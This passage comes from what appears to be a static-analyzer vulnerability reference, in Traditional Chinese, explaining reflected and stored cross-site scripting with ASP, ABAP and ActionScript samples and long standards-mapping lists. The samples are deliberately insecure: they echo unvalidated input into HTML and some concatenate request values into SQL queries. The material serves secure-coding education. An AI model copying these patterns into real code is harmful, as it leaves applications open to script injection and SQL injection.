eid = Request("eid")
Response.Write "Employee ID:" & Server.HTMLEncode(eid) & "<br/>"
..


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 ASP 程式碼片段會在資料庫中查詢具有所指定識別碼的員工,並列印相應 HTML 編碼的員工姓名。


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & Server.HTMLEncode(objADORecordSet("name"))
objADORecordSet.MoveNext
Wend
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_poor_validation
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下的 ABAP 程式碼片段會從 HTTP 要求中讀取員工的識別碼 eid,並將識別碼顯示給使用者。


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下的 ABAP 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
...
response->append_cdata( 'Employee Name: ').
response->append_cdata( itab_employees-name ).
...


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] SAP OSS notes 1582870, 1582867 and related notes for ABAP XSS support
[2] SAP OSS Notes 822881, 1600317, 1640092, 1671470 and 1638779 for XSS support in BSPs
[3] Understanding Malicious Content Mitigation for Web Developers CERT
[4] HTML 4.01 Specification W3
[5] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[6] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[13] Standards Mapping - FIPS200 SI
[14] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[21] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2021 A03 Injection
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[38] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[41] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[64] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.abap.cross_site_scripting_reflected
Abstract
傳送未經驗證的資料至網路瀏覽器,會導致瀏覽器執行惡意的程式碼。
Explanation
Cross-site scripting (XSS) 弱點會在以下情況中出現:

1.資料從一個不可信賴的來源進入 Web 應用程式。在 Reflected XSS 案例中,不可信賴的來源通常為網頁要求,而在 Persisted XSS (也可稱為 Stored XSS) 案例中,來源通常為資料庫或其他後端資料儲存區。


2.未經驗證且包含在動態內容中的資料將傳送給某個網頁使用者。

傳送到網頁瀏覽器的惡意內容經常是以 JavaScript 片段的形式出現,但是也可能包含 HTML、Flash 或者瀏覽器執行的任何其他程式碼類型。以 XSS 為基礎的攻擊手段花樣百出且幾乎無窮無盡,但是它們通常會傳輸 Cookie 或其他階段作業資訊之類的私人資料給攻擊者、將受害者重新導向到攻擊者控制的網頁內容,或者利用易受攻擊的網站,在使用者的機器上執行其他惡意操作。

範例 1:以下 ActionScript 程式碼片段會從 HTTP 要求中讀取員工的識別碼 eid,並將識別碼顯示給使用者。


var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var eid:String = String(params["eid"]);
...
var display:TextField = new TextField();
display.htmlText = "Employee ID: " + eid;
...


如果 eid 只包含標準英數字元,則這個範例中的程式碼會正確地執行。如果 eid 中有包含中繼字元或來源程式碼中的值,那麼網路瀏覽器就會像顯示 HTTP 回應那樣執行程式碼。

一開始,這似乎不會輕易受到攻擊。畢竟,誰會在自己的電腦中輸入會執行惡意程式碼的 URL?其實,真正的危險在於攻擊者會建立惡意的 URL,接著使用電子郵件或社交工程病毒誘騙受害者透過連結前往該 URL。當受害者按下該連結時,他們即不知不覺地透過易受攻擊的 Web 應用程式,將惡意內容資訊帶回他們自己的電腦。這個利用易受攻擊的 Web 應用程式進行攻擊的機制就是通常所知的 Reflected XSS。

範例 2:以下 ActionScript 程式碼片段會根據所給予的識別碼在資料庫中查詢員工,並列印該員工姓名。


stmt.sqlConnection = conn;
stmt.text = "select * from emp where id="+eid;
stmt.execute();
var rs:SQLResult = stmt.getResult();
if (null != rs) {
var name:String = String(rs.data[0]);
var display:TextField = new TextField();
display.htmlText = "Employee Name: " + name;
}


Example 1 所述,name 的值正常運作時,此程式碼也會正常運作,但如果該值不正常運作,則會完全無法避免程式碼遭受攻擊。此外,這個程式碼之所以看似不那麼危險,是因為 name 的值是從資料庫中讀取的,而顯然這些內容是由應用程式管理的。但是,如果 name 的值是從使用者提供的資料中產生,那麼資料庫可能會成為提供惡意內容的管道。如果未對資料庫中儲存的所有資料進行適當的輸入驗證,那麼攻擊者可能在使用者的網路瀏覽器中執行惡意指令。這類型的攻擊稱為 Persistent XSS (或 Stored XSS),其性質特別狡詐,因為間接的資料儲存方式而難以辨別該威脅,且該攻擊影響多個使用者的可能性可能提高。XSS 盜取會從存取提供造訪者訪客留名簿 (guestbook) 的網站開始。攻擊者會在他們的訪客留名簿項目中加入 JavaScript,所有後來前往訪客留名簿頁面的造訪者都可能會執行這些惡意程式碼。

如同範例中所示,XSS 的弱點是由 HTTP 回應中包含未經驗證資料的程式碼所引起的。XSS 攻擊有三種途徑可攻擊受害者:

- 如 Example 1 所述,會直接從 HTTP 要求中讀取資料,並在 HTTP 回應中回傳資料。當攻擊者誘使使用者提供危險內容給易受攻擊的 Web 應用程式,接著這些危險內容就會回傳給使用者並由在網路瀏覽器中執行,這時就會出現 Reflected XSS 攻擊行為。傳遞惡意內容最常用的機制就是,將惡意內容當作參數隱藏在公開發表的 URL 中,或者以電子郵件方式直接傳送給受害者。以這種方法建立的 URL 會構成許多網路釣魚 (phishing) 架構的核心,攻擊者可以藉此誘使受害者去造訪一個指向到易受攻擊網站的 URL。網站將攻擊者的內容回傳給使用者之後,就會執行這些內容,並接著從使用者的電腦將可能包含階段作業資訊的 Cookie 之類的私人資訊傳給攻擊者,或者執行其他惡意活動。

- 如 Example 2 所述,應用程式會將危險資料儲存到資料庫或其他可信任的資料儲存區中。這些危險資料隨後會被回讀到應用程式,並包含在動態內容中。Persistent XSS 攻擊會在以下情況出現:攻擊者把危險內容插入到之後會讀取的資料儲存區中,並包含在動態內容中。從攻擊者的角度來看,插入惡意內容的最佳位置莫過於一個會對很多使用者或特別感興趣的使用者顯示的區域。感興趣的使用者通常會在應用程式中擁有較高的權限,或者會與敏感資料進行互動,且這些資料對攻擊者而言很有利用價值。如果其中一個使用者執行了惡意內容,攻擊者可能會代替使用者去執行需要權限許可的作業,或者取得存取使用者專屬敏感資料的權限。

- 應用程式以外的來源會在資料庫或是其他資料記憶體中儲存危險資料,且之後這些危險資料會被當作信賴的資料回讀到應用程式,並會包含在動態內容中。
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
